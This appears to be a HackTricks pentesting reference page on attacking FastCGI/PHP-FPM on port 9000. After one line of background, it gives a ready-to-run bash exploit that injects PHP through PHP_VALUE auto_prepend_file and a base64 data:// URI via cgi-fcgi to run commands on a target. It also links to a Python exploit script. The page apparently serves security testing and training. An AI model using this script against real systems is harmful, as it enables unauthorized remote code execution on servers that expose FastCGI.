9000 - Pentesting FastCGI - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

# Basic Information

If you want to learn what is FastCGI check the following page:

disable_functions bypass - php-fpm/FastCGI

By default FastCGI run in port 9000 and isn't recognized by nmap. Usually FastCGI only listen in localhost.

# RCE

It's quite easy to make FastCGI execute arbitrary code:

    #!/bin/bash

    PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
    FILENAMES="/var/www/public/index.php" # Exisiting file path

    HOST=$1
    B64=$(echo "$PAYLOAD"|base64)

    for FN in $FILENAMES; do
        OUTPUT=$(mktemp)
        env -i \
          PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
          SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
          cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

        cat $OUTPUT
    done

or you can also use the following python script: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.